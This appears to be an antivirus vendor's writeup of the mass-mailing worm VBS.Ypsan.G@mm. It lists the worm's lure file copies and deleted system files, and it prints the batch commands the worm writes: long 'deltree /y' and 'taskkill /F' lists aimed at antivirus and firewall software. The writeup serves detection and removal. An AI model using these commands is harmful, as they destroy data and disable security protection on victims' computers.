VBS.Ypsan.G@mm

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Discovered: June 17, 2005
Updated: February 13, 2007 12:40:42 PM
Type: Worm
Systems Affected: Windows


VBS.Ypsan.G@mm is a mass-mailing worm that sends itself to email addresses gathered from the Windows Address Book and also spreads through file-sharing networks. The worm deletes several files, folders, and registry entries, and attempts to shut down the compromised computer.

Antivirus Protection Dates

  • Initial Rapid Release version June 17, 2005
  • Latest Rapid Release version September 28, 2010 revision 054
  • Initial Daily Certified version June 17, 2005
  • Latest Daily Certified version September 28, 2010 revision 036
  • Initial Weekly Certified release date June 22, 2005

Click here for a more detailed description of Rapid Release and Daily Certified virus definitions.

Writeup By: Candid Wueest

Discovered: June 17, 2005
Updated: February 13, 2007 12:40:42 PM
Type: Worm
Systems Affected: Windows


When VBS.Yspan.G@mm is executed, it performs the following actions:

  1. Copies itself as following, if the folders exist:

    • C:\WINDOWS\Sytem32\WINLOGON.vbs
    • C:\windows\system\porno.vbs
    • C:\Virc\Sexy Girls.mpg.vbs
    • C:\windows\system\system.vbs
    • C:\windows\system\system32.dll
    • C:\windows\system\sys32.dll
    • C:\Program Files\KMD\My Shared Folder\Porno-Pic.Jpg.vbs
    • C:\Program Files\KMD\My Shared Folder\Sexy girls.jpg.vbs
    • C:\Program Files\KMD\My Shared Folder\girls.mpg.vbs
    • C:\Program Files\KMD\My Shared Folder\pussy.Gif.vbs
    • C:\Program Files\KMD\My Shared Folder\Ass.Mpg.vbs
    • C:\Program Files\KaZaA Lite\My Shared Folder\Porno-Pic.Jpg.vbs
    • C:\Program Files\KaZaA Lite\My Shared Folder\Sexy girls.jpg.vbs
    • C:\Program Files\KaZaA Lite\My Shared Folder\girls.mpg.vbs
    • C:\Program Files\KaZaA Lite\My Shared Folder\pussy.Gif.vbs
    • C:\Program Files\KaZaA Lite\My Shared Folder\Ass.Mpg.vbs
    • C:\Program Files\Morpheus\My Shared Folder\Porno-Pic.Jpg.vbs
    • C:\Program Files\Morpheus\My Shared Folder\Sexy girls.jpg.vbs
    • C:\Program Files\Morpheus\My Shared Folder\girls.mpg.vbs
    • C:\Program Files\Morpheus\My Shared Folder\pussy.Gif.vbs
    • C:\Program Files\Morpheus\My Shared Folder\Ass.Mpg.vbs
    • C:\Program Files\BearShare\Shared\Porno-Pic.Jpg.vbs
    • C:\Program Files\BearShare\Shared\Sexy girls.jpg.vbs
    • C:\Program Files\BearShare\Shared\girls.mpg.vbs
    • C:\Program Files\BearShare\Shared\pussy.Gif.vbs
    • C:\Program Files\BearShare\Shared\Ass.Mpg.vbs
    • C:\Program Files\Edonkey2000\Incoming\Porno-Pic.Jpg.vbs
    • C:\Program Files\Edonkey2000\Incoming\Sexy girls.jpg.vbs
    • C:\Program Files\Edonkey2000\Incoming\girls.mpg.vbs
    • C:\Program Files\Edonkey2000\Incoming\pussy.Gif.vbs
    • C:\Program Files\Edonkey2000\Incoming\Ass.Mpg.vbs
    • C:\My Downloads\Porno-Pic.Jpg.vbs
    • C:\My Downloads\Sexy girls.jpg.vbs
    • C:\My Downloads\girls.mpg.vbs
    • C:\My Downloads\pussy.Gif.vbs
    • C:\My Downloads\Ass.Mpg.vbs
    • C:\My Shared Folder\Porno-Pic.Jpg.vbs
    • C:\My Shared Folder\Sexy girls.jpg.vb
    • C:\My Shared Folder\girls.mpg.vbs
    • C:\My Shared Folder\pussy.Gif.vbs
    • C:\My Shared Folder\Ass.Mpg.vbs
    • C:\Program Files\appleJuice\incoming\Porno-Pic.Jpg.vbs
    • C:\Program Files\appleJuice\incoming\Sexy girls.jpg.vb
    • C:\Program Files\appleJuice\incoming\girls.mpg.vbs
    • C:\Program Files\appleJuice\incoming\pussy.Gif.vbs
    • C:\Program Files\appleJuice\incoming\Ass.Mpg.vbs
    • C:\Program Files\Gnucleus\Downloads\Porno-Pic.Jpg.vbs
    • C:\Program Files\Gnucleus\Downloads\Sexy girls.jpg.vb
    • C:\Program Files\Gnucleus\Downloads\girls.mpg.vbs
    • C:\Program Files\Gnucleus\Downloads\pussy.Gif.vbs
    • C:\Program Files\Gnucleus\Downloads\Ass.Mpg.vbs
    • C:\Program Files\Grokster\My Grokster\Porno-Pic.Jpg.vbs
    • C:\Program Files\Grokster\My Grokster\Sexy girls.jpg.vb
    • C:\Program Files\Grokster\My Grokster\girls.mpg.vbs
    • C:\Program Files\Grokster\My Grokster\pussy.Gif.vbs
    • C:\Program Files\Grokster\My Grokster\Ass.Mpg.vbs
    • C:\Program Files\ICQ\shared files\Porno-Pic.Jpg.vbs
    • C:\Program Files\ICQ\shared files\Sexy girls.jpg.vb
    • C:\Program Files\ICQ\shared files\girls.mpg.vbs
    • C:\Program Files\ICQ\shared files\pussy.Gif.vbs
    • C:\Program Files\ICQ\shared files\Ass.Mpg.vbs
    • C:\Program Files\KaZaA\My Shared Folder\Porno-Pic.Jpg.vbs
    • C:\Program Files\KaZaA\My Shared Folder\Sexy girls.jpg.vb
    • C:\Program Files\KaZaA\My Shared Folder\girls.mpg.vbs
    • C:\Program Files\KaZaA\My Shared Folder\pussy.Gif.vbs
    • C:\Program Files\KaZaA\My Shared Folder\Ass.Mpg.vbs
    • C:\Program Files\LimeWire\Shared\Porno-Pic.Jpg.vbs
    • C:\Program Files\LimeWire\Shared\Sexy girls.jpg.vb
    • C:\Program Files\LimeWire\Shared\girls.mpg.vbs
    • C:\Program Files\LimeWire\Shared\pussy.Gif.vbs
    • C:\Program Files\LimeWire\Shared\Ass.Mpg.vbs
    • C:\Program Files\Overnet\incoming\Porno-Pic.Jpg.vbs
    • C:\Program Files\Overnet\incoming\Sexy girls.jpg.vb
    • C:\Program Files\Overnet\incoming\girls.mpg.vbs
    • C:\Program Files\Overnet\incoming\pussy.Gif.vbs
    • C:\Program Files\Overnet\incoming\Ass.Mpg.vbs
    • C:\Program Files\Shareaza\Downloads\Porno-Pic.Jpg.vbs
    • C:\Program Files\Shareaza\Downloads\Sexy girls.jpg.vb
    • C:\Program Files\Shareaza\Downloads\girls.mpg.vbs
    • C:\Program Files\Shareaza\Downloads\pussy.Gif.vbs
    • C:\Program Files\Shareaza\Downloads\Ass.Mpg.vbs
    • C:\Program Files\Swaptor\Download\Porno-Pic.Jpg.vbs
    • C:\Program Files\Swaptor\Download\Sexy girls.jpg.vb
    • C:\Program Files\Swaptor\Download\girls.mpg.vbs
    • C:\Program Files\Swaptor\Download\pussy.Gif.vbs
    • C:\Program Files\Swaptor\Download\Ass.Mpg.vbs
    • C:\Program Files\WinMX\My Shared Folder\Porno-Pic.Jpg.vbs
    • C:\Program Files\WinMX\My Shared Folder\Sexy girls.jpg.vb
    • C:\Program Files\WinMX\My Shared Folder\girls.mpg.vbs
    • C:\Program Files\WinMX\My Shared Folder\pussy.Gif.vbs
    • C:\Program Files\WinMX\My Shared Folder\Ass.Mpg.vbs
    • C:\Program Files\Tesla\Files\Porno-Pic.Jpg.vbs
    • C:\Program Files\Tesla\Files\Sexy girls.jpg.vb
    • C:\Program Files\Tesla\Files\girls.mpg.vbs
    • C:\Program Files\Tesla\Files\pussy.Gif.vbs
    • C:\Program Files\Tesla\Files\Ass.Mpg.vbs
    • C:\Program Files\XoloX\Downloads\Porno-Pic.Jpg.vbs
    • C:\Program Files\XoloX\Downloads\Sexy girls.jpg.vb
    • C:\Program Files\XoloX\Downloads\girls.mpg.vbs
    • C:\Program Files\XoloX\Downloads\pussy.Gif.vbs
    • C:\Program Files\XoloX\Downloads\Ass.Mpg.vbs
    • C:\Program Files\Rapigator\Share\Porno-Pic.Jpg.vbs
    • C:\Program Files\Rapigator\Share\Sexy girls.jpg.vb
    • C:\Program Files\Rapigator\Share\girls.mpg.vbs
    • C:\Program Files\Rapigator\Share\pussy.Gif.vbs
    • C:\Program Files\Rapigator\Share\Ass.Mpg.vbs

  2. Deletes the following files to disable various programs and lower security settings:

    • C:\Windows\System32\taskmgr.exe
    • C:\Windows\System32\wuauclt1.exe
    • C:\Windows\System32\wuauclt.exe
    • C:\Windows\System32\wupdmgr.exe
    • C:\Windows\Regedit.exe
    • C:\Program Files\Lavasoft\Ad-Aware SE Professional\defs.ref
    • C:\Program Files\Lavasoft\Ad-Aware SE Professional\sites.txt
    • C:\WINDOWS\system32\dumprep.exe
    • C:\WINDOWS\inf\machine.inf

  3. Deletes the following folders:

    • C:\WINDOWS\repair
    • C:\WINDOWS\system32\ReinstallBackups

  4. Overwrites C:\autoexec.bat with the following lines to lower security settings:

    @deltree/y c:\antiba~1\*.* >nul
    @deltree/y c:\antiba~2\*.* >nul
    @deltree/y c:\antiba~1.1\*.* >nul
    @deltree/y c:\antiba~1.2\*.* >nul
    @deltree/y c:\antiba~1.3\*.* >nul
    @deltree/y c:\antiba~1.4\*.* >nul
    @deltree/y c:\antiba~1.5\*.* >nul
    @deltree/y c:\antiba~1.6\*.* >nul
    @deltree/y c:\antiba~1.7\*.* >nul
    @deltree/y c:\antiba~1.8\*.* >nul
    @deltree/y c:\antivi~1\*.* >nul
    @deltree/y c:\antivi~2\*.* >nul
    @deltree/y c:\antiviru\*.* >nul
    @deltree/y c:\avg\*.* >nul
    @deltree/y c:\avp\*.* >nul
    @deltree/y c:\avp30\*.* >nul
    @deltree/y c:\avx\*.* >nul
    @deltree/y c:\avpers~1\*.* >nul
    @deltree/y c:\bitdef~1\*.* >nul
    @deltree/y c:\bitdef~2\*.* >nul
    @deltree/y c:\comman~1\*.* >nul
    @deltree/y c:\cleancih\*.* >nul
    @deltree/y c:\esafen\*.* >nul
    @deltree/y c:\findvi~1\*.* >nul
    @deltree/y c:\f-macro\*.* >nul
    @deltree/y c:\f-prot\*.* >nul
    @deltree/y c:\f-prot95\*.* >nul
    @deltree/y c:\f-secu~1\*.* >nul
    @deltree/y c:\fwin\*.* >nul
    @deltree/y c:\fwin32\*.* >nul
    @deltree/y c:\inocul~1\*.* >nul
    @deltree/y c:\inocul~2\*.* >nul
    @deltree/y c:\kasper~1\*.* >nul
    @deltree/y c:\kasper~2\*.* >nul
    @deltree/y c:\mcafee\*.* >nul
    @deltree/y c:\mcafee~1\*.* >nul
    @deltree/y c:\msav\*.* >nul
    @deltree/y c:\norman\*.* >nul
    @deltree/y c:\norton~1\*.* >nul
    @deltree/y c:\norton~2\*.* >nul
    @deltree/y c:\pav\*.* >nul
    @deltree/y c:\pccill~1\*.* >nul
    @deltree/y c:\pc-cil~1\*.* >nul
    @deltree/y c:\rav\*.* >nul
    @deltree/y c:\softwin\*.* >nul
    @deltree/y c:\tbav\*.* >nul
    @deltree/y c:\tbavw95\*.* >nul
    @deltree/y c:\toolkit\*.* >nul
    @deltree/y c:\trendm~1\*.* >nul
    @deltree/y c:\trex\*.* >nul
    @deltree/y c:\virus\*.* >nul
    @deltree/y c:\vpc\*.* >nul
    @deltree/y c:\vs95\*.* >nul
    @deltree/y c:\zonela~1\*.* >nul
    @deltree/y c:\zonela~2\*.* >nul
    @deltree/y c:\progra~1\antiba~1\*.* >nul
    @deltree/y c:\progra~1\antiba~2\*.* >nul
    @deltree/y c:\progra~1\antiba~1.1\*.* >nul
    @deltree/y c:\progra~1\antiba~1.2\*.* >nul
    @deltree/y c:\progra~1\antiba~1.3\*.* >nul
    @deltree/y c:\progra~1\antiba~1.4\*.* >nul
    @deltree/y c:\progra~1\antiba~1.5\*.* >nul
    @deltree/y c:\progra~1\antiba~1.6\*.* >nul
    @deltree/y c:\progra~1\antiba~1.7\*.* >nul
    @deltree/y c:\progra~1\antiba~1.8\*.* >nul
    @deltree/y c:\progra~1\antivi~1\*.* >nul
    @deltree/y c:\progra~1\antivi~2\*.* >nul
    @deltree/y c:\progra~1\avg\*.* >nul
    @deltree/y c:\progra~1\avp\*.* >nul
    @deltree/y c:\progra~1\avx\*.* >nul
    @deltree/y c:\progra~1\avx2000\*.* >nul
    @deltree/y c:\progra~1\avpers~1\*.* >nul
    @deltree/y c:\progra~1\bitdef~1\*.* >nul
    @deltree/y c:\progra~1\bitdef~2\*.* >nul
    @deltree/y c:\progra~1\comman~1\*.* >nul
    @deltree/y c:\progra~1\common~1\avpsha~1*.* >nul
    @deltree/y c:\progra~1\common~1\symant~1\*.* >nul
    @deltree/y c:\progra~1\datafe~1\*.* >nul
    @deltree/y c:\progra~1\deerfi~1.com\*.* >nul
    @deltree/y c:\progra~1\f-prot\*.* >nul
    @deltree/y c:\progra~1\f-prot95\*.* >nul
    @deltree/y c:\progra~1\findvi~1\*.* >nul
    @deltree/y c:\progra~1\f-secu~1\*.* >nul
    @deltree/y c:\progra~1\f-secure\*.* >nul
    @deltree/y c:\progra~1\fsi\*.* >nul
    @deltree/y c:\progra~1\fwin\*.* >nul
    @deltree/y c:\progra~1\fwin32\*.* >nul
    @deltree/y c:\progra~1\grisoft\*.* >nul
    @deltree/y c:\progra~1\inocul~1\*.* >nul
    @deltree/y c:\progra~1\inocul~2\*.* >nul
    @deltree/y c:\progra~1\intern~2\*.* >nul
    @deltree/y c:\progra~1\kasper~1\*.* >nul
    @deltree/y c:\progra~1\kasper~2\*.* >nul
    @deltree/y c:\progra~1\mcafee\*.* >nul
    @deltree/y c:\progra~1\mcafee~1\*.* >nul
    @deltree/y c:\progra~1\mindso~1\*.* >nul
    @deltree/y c:\progra~1\norman\*.* >nul
    @deltree/y c:\progra~1\norton~1\*.* >nul
    @deltree/y c:\progra~1\norton~2\*.* >nul
    @deltree/y c:\progra~1\pandas~1\*.* >nul
    @deltree/y c:\progra~1\protec~1\*.* >nul
    @deltree/y c:\progra~1\protec~2\*.* >nul
    @deltree/y c:\progra~1\quickh~1\*.* >nul
    @deltree/y c:\progra~1\rav\*.* >nul
    @deltree/y c:\progra~1\signal9\*.* >nul
    @deltree/y c:\progra~1\softwin\*.* >nul
    @deltree/y c:\progra~1\spysto~1\*.* >nul
    @deltree/y c:\progra~1\symant~1\*.* >nul
    @deltree/y c:\progra~1\tbav\*.* >nul
    @deltree/y c:\progra~1\tinype~1\*.* >nul
    @deltree/y c:\progra~1\trendm~1\*.* >nul
    @deltree/y c:\progra~1\trendp~1\*.* >nul
    @deltree/y c:\progra~1\trojan~1\*.* >nul
    @deltree/y c:\progra~1\trojan~2\*.* >nul
    @deltree/y c:\progra~1\virusm~1.0\*.* >nul
    @deltree/y c:\progra~1\zonela~1\*.* >nul
    @deltree/y c:\progra~1\zonela~2\*.* >nul

  5. Overwrites C:\WINDOWS\System32\Taskmgr.bat with the following lines:

    @taskkill /IM ACKWIN32.exe /F
    @taskkill /IM ADAWARE.exe /F
    @taskkill /IM ADVXDWIN.exe /F
    @taskkill /IM AGENTSVR.exe /F
    @taskkill /IM AGENTW.exe /F
    @taskkill /IM ALERTSVC.exe /F
    @taskkill /IM ALEVIR.exe /F
    @taskkill /IM ALOGSERV.exe /F
    @taskkill /IM AMON9X.exe /F
    @taskkill /IM ANTI-TROJAN.exe /F
    @taskkill /IM ANTIVIRUS.exe /F
    @taskkill /IM ANTS.exe /F
    @taskkill /IM APIMONITOR.exe /F
    @taskkill /IM APLICA32.exe /F
    @taskkill /IM APVXDWIN.exe /F
    @taskkill /IM ARR.exe /F
    @taskkill /IM ATCON.exe /F
    @taskkill /IM ATGUARD.exe /F
    @taskkill /IM ATRO55EN.exe /F
    @taskkill /IM ATUPDATER.exe /F
    @taskkill /IM ATUPDATER.exe /F
    @taskkill /IM ATWATCH.exe /F
    @taskkill /IM AU.exe /F
    @taskkill /IM AUPDATE.exe /F
    @taskkill /IM AUPDATE.exe /F
    @taskkill /IM AUTODOWN.exe /F
    @taskkill /IM AUTODOWN.exe /F
    @taskkill /IM AUTOTRACE.exe /F
    @taskkill /IM AUTOTRACE.exe /F
    @taskkill /IM AUTOUPDATE.exe /F
    @taskkill /IM AUTOUPDATE.exe /F
    @taskkill /IM AVCONSOL.exe /F
    @taskkill /IM AVE32.exe /F
    @taskkill /IM AVGCC32.exe /F
    @taskkill /IM AVGCTRL.exe /F
    @taskkill /IM AVGNT.exe /F
    @taskkill /IM AVGSERV.exe /F
    @taskkill /IM AVGSERV9.exe /F
    @taskkill /IM AVGUARD.exe /F
    @taskkill /IM AVGW.exe /F
    @taskkill /IM AVKPOP.exe /F
    @taskkill /IM AVKSERV.exe /F
    @taskkill /IM AVKSERVICE.exe /F
    @taskkill /IM AVKWCTl9.exe /F
    @taskkill /IM AVLTMAIN.exe /F
    @taskkill /IM AVNT.exe /F
    @taskkill /IM AVP.exe /F
    @taskkill /IM AVP32.exe /F
    @taskkill /IM AVPCC.exe /F
    @taskkill /IM AVPDOS32.exe /F
    @taskkill /IM AVPM.exe /F
    @taskkill /IM AVPTC32.exe /F
    @taskkill /IM AVPUPD.exe /F
    @taskkill /IM AVPUPD.exe /F
    @taskkill /IM AVSCHED32.exe /F
    @taskkill /IM AVSYNMGR.exe /F
    @taskkill /IM AVWINNT.exe /F
    @taskkill /IM AVWUPD.exe /F
    @taskkill /IM AVWUPD32.exe /F
    @taskkill /IM AVWUPD32.exe /F
    @taskkill /IM AVWUPSRV.exe /F
    @taskkill /IM AVXMONITOR9X.exe /F
    @taskkill /IM AVXMONITORNT.exe /F
    @taskkill /IM AVXQUAR.exe /F
    @taskkill /IM AVXQUAR.exe /F
    @taskkill /IM BACKWEB.exe /F
    @taskkill /IM BARGAINS.exe /F
    @taskkill /IM BD_PROFESSIONAL.exe /F
    @taskkill /IM BEAGLE.exe /F
    @taskkill /IM BELT.exe /F
    @taskkill /IM BIDEF.exe /F
    @taskkill /IM BIDSERVER.exe /F
    @taskkill /IM BIPCP.exe /F
    @taskkill /IM BIPCPEVALSETUP.exe /F
    @taskkill /IM BISP.exe /F
    @taskkill /IM BLACKD.exe /F
    @taskkill /IM BLACKICE.exe /F
    @taskkill /IM BLSS.exe /F
    @taskkill /IM BOOTCONF.exe /F
    @taskkill /IM BOOTWARN.exe /F
    @taskkill /IM BORG2.exe /F
    @taskkill /IM BPC.exe /F
    @taskkill /IM BRASIL.exe /F
    @taskkill /IM BS120.exe /F
    @taskkill /IM BUNDLE.exe /F
    @taskkill /IM BVT.exe /F
    @taskkill /IM CCAPP.exe /F
    @taskkill /IM CCEVTMGR.exe /F
    @taskkill /IM CCPXYSVC.exe /F
    @taskkill /IM CDP.exe /F
    @taskkill /IM CFD.exe /F
    @taskkill /IM CFGWIZ.exe /F
    @taskkill /IM CFIADMIN.exe /F
    @taskkill /IM CFIAUDIT.exe /F
    @taskkill /IM CFIAUDIT.exe /F
    @taskkill /IM CFINET.exe /F
    @taskkill /IM CFINET32.exe /F
    @taskkill /IM CLEAN.exe /F
    @taskkill /IM CLEANER.exe /F
    @taskkill /IM CLEANER3.exe /F
    @taskkill /IM CLEANPC.exe /F
    @taskkill /IM CLICK.exe /F
    @taskkill /IM CMD32.exe /F
    @taskkill /IM CMESYS.exe /F
    @taskkill /IM CMGRDIAN.exe /F
    @taskkill /IM CMON016.exe /F
    @taskkill /IM CONNECTIONMONITOR.exe /F
    @taskkill /IM CPD.exe /F
    @taskkill /IM CPF9X206.exe /F
    @taskkill /IM CPFNT206.exe /F
    @taskkill /IM CTRL.exe /F
    @taskkill /IM CV.exe /F
    @taskkill /IM CWNB181.exe /F
    @taskkill /IM CWNTDWMO.exe /F
    @taskkill /IM CLAW95CF.exe /F
    @taskkill /IM DATEMANAGER.exe /F
    @taskkill /IM DCOMX.exe /F
    @taskkill /IM DEFALERT.exe /F
    @taskkill /IM DEFSCANGUI.exe /F
    @taskkill /IM DEFWATCH.exe /F
    @taskkill /IM DEPUTY.exe /F
    @taskkill /IM DIVX.exe /F
    @taskkill /IM DLLCACHE.exe /F
    @taskkill /IM DLLREG.exe /F
    @taskkill /IM DOORS.exe /F
    @taskkill /IM DPF.exe /F
    @taskkill /IM DPFSETUP.exe /F
    @taskkill /IM DPPS2.exe /F
    @taskkill /IM DRWATSON.exe /F
    @taskkill /IM DRWEB32.exe /F
    @taskkill /IM DRWEBUPW.exe /F
    @taskkill /IM DSSAGENT.exe /F
    @taskkill /IM DVP95.exe /F
    @taskkill /IM DVP95_0.exe /F
    @taskkill /IM ECENGINE.exe /F
    @taskkill /IM EFPEADM.exe /F
    @taskkill /IM EMSW.exe /F
    @taskkill /IM ENT.exe /F
    @taskkill /IM ESAFE.exe /F
    @taskkill /IM ESCANHNT.exe /F
    @taskkill /IM ESCANV95.exe /F
    @taskkill /IM ESPWATCH.exe /F
    @taskkill /IM ETHEREAL.exe /F
    @taskkill /IM ETRUSTCIPE.exe /F
    @taskkill /IM EVPN.exe /F
    @taskkill /IM EXANTIVIRUS-CNET.exe /F
    @taskkill /IM EXE.AVXW.exe /F
    @taskkill /IM EXPERT.exe /F
    @taskkill /IM EXPLORE.exe /F
    @taskkill /IM F-PROT.exe /F
    @taskkill /IM F-PROT95.exe /F
    @taskkill /IM F-STOPW.exe /F
    @taskkill /IM FAMEH32.exe /F
    @taskkill /IM FAST.exe /F
    @taskkill /IM FCH32.exe /F
    @taskkill /IM FIH32.exe /F
    @taskkill /IM FINDVIRU.exe /F
    @taskkill /IM FIREWALL.exe /F
    @taskkill /IM FNRB32.exe /F
    @taskkill /IM FP-WIN.exe /F
    @taskkill /IM FP-WIN_TRIAL.exe /F
    @taskkill /IM FPROT.exe /F
    @taskkill /IM FRW.exe /F
    @taskkill /IM FSAA.exe /F
    @taskkill /IM FSAV.exe /F
    @taskkill /IM FSAV32.exe /F
    @taskkill /IM FSAV530STBYB.exe /F
    @taskkill /IM FSAV530WTBYB.exe /F
    @taskkill /IM FSAV95.exe /F
    @taskkill /IM FSGK32.exe /F
    @taskkill /IM FSM32.exe /F
    @taskkill /IM FSMA32.exe /F
    @taskkill /IM FSMB32.exe /F
    @taskkill /IM GATOR.exe /F
    @taskkill /IM GBMENU.exe /F
    @taskkill /IM GBPOLL.exe /F
    @taskkill /IM GENERICS.exe /F
    @taskkill /IM GMT.exe /F
    @taskkill /IM GUARD.exe /F
    @taskkill /IM GUARDDOG.exe /F
    @taskkill /IM HACKTRACERSETUP.exe /F
    @taskkill /IM HBINST.exe /F
    @taskkill /IM HBSRV.exe /F
    @taskkill /IM HOTACTIO.exe /F
    @taskkill /IM HOTPATCH.exe /F
    @taskkill /IM HTLOG.exe /F
    @taskkill /IM HTPATCH.exe /F
    @taskkill /IM HWPE.exe /F
    @taskkill /IM HXDL.exe /F
    @taskkill /IM HXIUL.exe /F
    @taskkill /IM IAMAPP.exe /F
    @taskkill /IM IAMSERV.exe /F
    @taskkill /IM IAMSTATS.exe /F
    @taskkill /IM IBMASN.exe /F
    @taskkill /IM IBMAVSP.exe /F
    @taskkill /IM ICLOADNT.exe /F
    @taskkill /IM ICMON.exe /F
    @taskkill /IM ICSUPP95.exe /F
    @taskkill /IM ICSUPPNT.exe /F
    @taskkill /IM IDLE.exe /F
    @taskkill /IM IEDLL.exe /F
    @taskkill /IM IEDRIVER.exe /F
    @taskkill /IM IEXPLORER.exe /F
    @taskkill /IM IFACE.exe /F
    @taskkill /IM IFW2000.exe /F
    @taskkill /IM INETLNFO.exe /F
    @taskkill /IM INFUS.exe /F
    @taskkill /IM INFWIN.exe /F
    @taskkill /IM INIT.exe /F
    @taskkill /IM INTDEL.exe /F
    @taskkill /IM INTREN.exe /F
    @taskkill /IM IOMON98.exe /F
    @taskkill /IM ISTSVC.exe /F
    @taskkill /IM JAMMER.exe /F
    @taskkill /IM JDBGMRG.exe /F
    @taskkill /IM JEDI.exe /F
    @taskkill /IM KAVLITE40ENG.exe /F
    @taskkill /IM KAVPERS40ENG.exe /F
    @taskkill /IM KAVPF.exe /F
    @taskkill /IM KAZZA.exe /F
    @taskkill /IM KEENVALUE.exe /F
    @taskkill /IM KERIO-PF-213-EN-WIN.exe /F
    @taskkill /IM KERIO-WRL-421-EN-WIN.exe /F
    @taskkill /IM KERIO-WRP-421-EN-WIN.exe /F
    @taskkill /IM KERNEL32.exe /F
    @taskkill /IM KILLPROCESSSETUP161.exe /F
    @taskkill /IM LAUNCHER.exe /F
    @taskkill /IM LDNETMON.exe /F
    @taskkill /IM LDPRO.exe /F
    @taskkill /IM LDPROMENU.exe /F
    @taskkill /IM LDSCAN.exe /F
    @taskkill /IM LNETINFO.exe /F
    @taskkill /IM LOADER.exe /F
    @taskkill /IM LOCALNET.exe /F
    @taskkill /IM LOCKDOWN.exe /F
    @taskkill /IM LOCKDOWN2000.exe /F
    @taskkill /IM LOOKOUT.exe /F
    @taskkill /IM LORDPE.exe /F
    @taskkill /IM LSETUP.exe /F
    @taskkill /IM LUALL.exe /F
    @taskkill /IM LUALL.exe /F
    @taskkill /IM LUAU.exe /F
    @taskkill /IM LUCOMSERVER.exe /F
    @taskkill /IM LUINIT.exe /F
    @taskkill /IM LUSPT.exe /F
    @taskkill /IM MAPISVC32.exe /F
    @taskkill /IM MCAGENT.exe /F
    @taskkill /IM MCMNHDLR.exe /F
    @taskkill /IM MCSHIELD.exe /F
    @taskkill /IM MCTOOL.exe /F
    @taskkill /IM MCUPDATE.exe /F
    @taskkill /IM MCUPDATE.exe /F
    @taskkill /IM MCVSRTE.exe /F
    @taskkill /IM MCVSSHLD.exe /F
    @taskkill /IM MD.exe /F
    @taskkill /IM MFIN32.exe /F
    @taskkill /IM MFW2EN.exe /F
    @taskkill /IM MFWENG3.02D30.exe /F
    @taskkill /IM MGAVRTCL.exe /F
    @taskkill /IM MGAVRTE.exe /F
    @taskkill /IM MGHTML.exe /F
    @taskkill /IM MGUI.exe /F
    @taskkill /IM MINILOG.exe /F
    @taskkill /IM MMOD.exe /F
    @taskkill /IM MONITOR.exe /F
    @taskkill /IM MOOLIVE.exe /F
    @taskkill /IM MOSTAT.exe /F
    @taskkill /IM MPFAGENT.exe /F
    @taskkill /IM MPFSERVICE.exe /F
    @taskkill /IM MPFTRAY.exe /F
    @taskkill /IM MRFLUX.exe /F
    @taskkill /IM MSAPP.exe /F
    @taskkill /IM MSBB.exe /F
    @taskkill /IM MSBLAST.exe /F
    @taskkill /IM MSCACHE.exe /F
    @taskkill /IM MSCCN32.exe /F
    @taskkill /IM MSCMAN.exe /F
    @taskkill /IM MSCONFIG.exe /F
    @taskkill /IM MSDM.exe /F
    @taskkill /IM MSDOS.exe /F
    @taskkill /IM MSIEXEC16.exe /F
    @taskkill /IM MSINFO32.exe /F
    @taskkill /IM MSLAUGH.exe /F
    @taskkill /IM MSMGT.exe /F
    @taskkill /IM MSMSGRI32.exe /F
    @taskkill /IM MSSMMC32.exe /F
    @taskkill /IM MSSYS.exe /F
    @taskkill /IM MSVXD.exe /F
    @taskkill /IM MU0311AD.exe /F
    @taskkill /IM MWATCH.exe /F
    @taskkill /IM N32SCANW.exe /F
    @taskkill /IM NAV.exe /F
    @taskkill /IM AUTO-PROTECT.NAV80TRY.exe /F
    @taskkill /IM NAVAP.NAVAPSVC.exe /F
    @taskkill /IM NAVAPSVC.exe /F
    @taskkill /IM NAVAPW32.exe /F
    @taskkill /IM NAVDX.exe /F
    @taskkill /IM NAVLU32.exe /F
    @taskkill /IM NAVNT.exe /F
    @taskkill /IM NAVSTUB.exe /F
    @taskkill /IM NAVW32.exe /F
    @taskkill /IM NAVWNT.exe /F
    @taskkill /IM NC2000.exe /F
    @taskkill /IM NCINST4.exe /F
    @taskkill /IM NDD32.exe /F
    @taskkill /IM NEOMONITOR.exe /F
    @taskkill /IM NEOWATCHLOG.exe /F
    @taskkill /IM NETARMOR.exe /F
    @taskkill /IM NETD32.exe /F
    @taskkill /IM NETINFO.exe /F
    @taskkill /IM NETMON.exe /F
    @taskkill /IM NETSCANPRO.exe /F
    @taskkill /IM NETSPYHUNTER-1.2.exe /F
    @taskkill /IM NETSTAT.exe /F
    @taskkill /IM NETUTILS.exe /F
    @taskkill /IM NISSERV.exe /F
    @taskkill /IM NISUM.exe /F
    @taskkill /IM NMAIN.exe /F
    @taskkill /IM NOD32.exe /F
    @taskkill /IM NORMIST.exe /F
    @taskkill /IM NORTON_INTERNET_SECU_3.0_407.exe /F
    @taskkill /IM NOTSTART.exe /F
    @taskkill /IM NPF40_TW_98_NT_ME_2K.exe /F
    @taskkill /IM NPFMESSENGER.exe /F
    @taskkill /IM NPROTECT.exe /F
    @taskkill /IM NPSCHECK.exe /F
    @taskkill /IM NPSSVC.exe /F
    @taskkill /IM NSCHED32.exe /F
    @taskkill /IM NSSYS32.exe /F
    @taskkill /IM NSTASK32.exe /F
    @taskkill /IM NSUPDATE.exe /F
    @taskkill /IM NT.exe /F
    @taskkill /IM NTRTSCAN.exe /F
    @taskkill /IM NTVDM.exe /F
    @taskkill /IM NTXconfig.exe /F
    @taskkill /IM NUI.exe /F
    @taskkill /IM NUPGRADE.exe /F
    @taskkill /IM NUPGRADE.exe /F
    @taskkill /IM NVARCH16.exe /F
    @taskkill /IM NVC95.exe /F
    @taskkill /IM NVSVC32.exe /F
    @taskkill /IM NWINST4.exe /F
    @taskkill /IM NWSERVICE.exe /F
    @taskkill /IM NWTOOL16.exe /F
    @taskkill /IM OLLYDBG.exe /F
    @taskkill /IM ONSRVR.exe /F
    @taskkill /IM OPTIMIZE.exe /F
    @taskkill /IM OSTRONET.exe /F
    @taskkill /IM OTFIX.exe /F
    @taskkill /IM OUTPOST.exe /F
    @taskkill /IM OUTPOST.exe /F
    @taskkill /IM OUTPOSTINSTALL.exe /F
    @taskkill /IM OUTPOSTPROINSTALL.exe /F
    @taskkill /IM PADMIN.exe /F
    @taskkill /IM PANIXK.exe /F
    @taskkill /IM PATCH.exe /F
    @taskkill /IM PAVCL.exe /F
    @taskkill /IM PAVPROXY.exe /F
    @taskkill /IM PAVSCHED.exe /F
    @taskkill /IM PAVW.exe /F
    @taskkill /IM PCFWALLICON.exe /F
    @taskkill /IM PCIP10117_0.exe /F
    @taskkill /IM PCSCAN.exe /F
    @taskkill /IM PDSETUP.exe /F
